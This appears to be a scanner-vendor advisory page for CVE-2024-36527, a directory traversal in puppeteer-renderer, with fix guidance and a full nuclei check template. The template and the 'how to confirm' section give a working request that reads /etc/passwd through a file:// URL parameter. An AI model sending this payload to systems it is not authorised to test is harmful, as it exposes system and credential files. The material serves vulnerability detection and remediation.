Puppeteer Renderer - Directory Traversal

mediumseverity

2.6%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially gaining access to sensitive information.

Fix

Users should update to version 3.3.0 or later where this issue has been addressed. Additionally, ensure that input validation is implemented to restrict the url parameter to only http and https protocols.

How to confirm it

Send: GET {{BaseURL}}/html?url=file:///etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-36527 -u <target>

The full check

id: CVE-2024-36527

info:
  name: Puppeteer Renderer - Directory Traversal
  author: Stux
  severity: medium
  description: |
    puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially gaining access to sensitive information.
  remediation: |
    Users should update to version 3.3.0 or later where this issue has been addressed. Additionally, ensure that input validation is implemented to restrict the url parameter to only http and https protocols.
  reference:
    - https://github.com/zenato/puppeteer-renderer/issues/97
    - https://gist.github.com/7a6163/25fef08f75eed219c8ca21e332d6e911
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2024,puppeteer-renderer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/html?url=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from